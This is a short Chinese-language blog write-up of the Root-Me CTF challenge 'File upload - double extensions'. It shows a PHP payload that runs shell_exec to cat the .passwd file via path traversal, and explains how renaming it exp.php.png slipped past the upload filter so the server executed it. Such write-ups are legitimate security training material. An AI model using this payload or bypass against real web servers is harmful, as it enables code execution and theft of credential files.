【Root-Me】 File upload - double extensions



题目给出了两个提示:

  • 双重后缀绕过(double extensions)
  • 目标文件 .passwd 在 web 服务的根路径

上传一个图片测试一下,页面会给出图片的 URL 地址,点开后可以打开原图,猜测这或许是一个可利用点。

又从给出的 URL 地址知道,上传的文件距离 web 服务根目录的位置,因此可以构造一个路径穿越的 payloads 文件,文件名为 exp.php

<?php
    // exp.php.png
    // 假如这个文件上传成功,则可以利用 web 打开这个文件进行解析时进行路径穿越
    $content = shell_exec('cat ../../../.passwd');
    echo "<pre>$content</pre>";
?>

但因为上传会检测文件后缀,无法直接上传。把文件更名为 exp.php.png 尝试绕过检测机制,上传成功。

上传成功后,打开这个伪造的图片文件,发现它被作为 php 文件解析了(应该是 web 设置的问题),成功获得密码,完成挑战。


答案下载

flag 下载后的 flagzip 的文件需要手动更改后缀为 *.zip,然后解压即可(为了避免直接刷答案)


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
 上一篇
【Root-Me】 Javascript - Source 【Root-Me】 Javascript - Source
来源:Root-Me 题型:Web-Client 题目:Javascript - Source 分数:5 Points 水题。一打开页面就弹出交互框要求输入密码,随便输入提示密码错误。 打开浏览器开发者工具,切到 Network 找到
2019-08-12
下一篇 
【Root-Me】 HTTP - verb tampering 【Root-Me】 HTTP - verb tampering
来源:Root-Me 题型:Web-Server 题目:HTTP verb tampering 分数:15 Points 题目已经提示:HTTP 动词篡改。 亦即通过不同的 HTTP 动词可能可以访问到不同的资源。 使用 Burp S
2019-08-09
  目录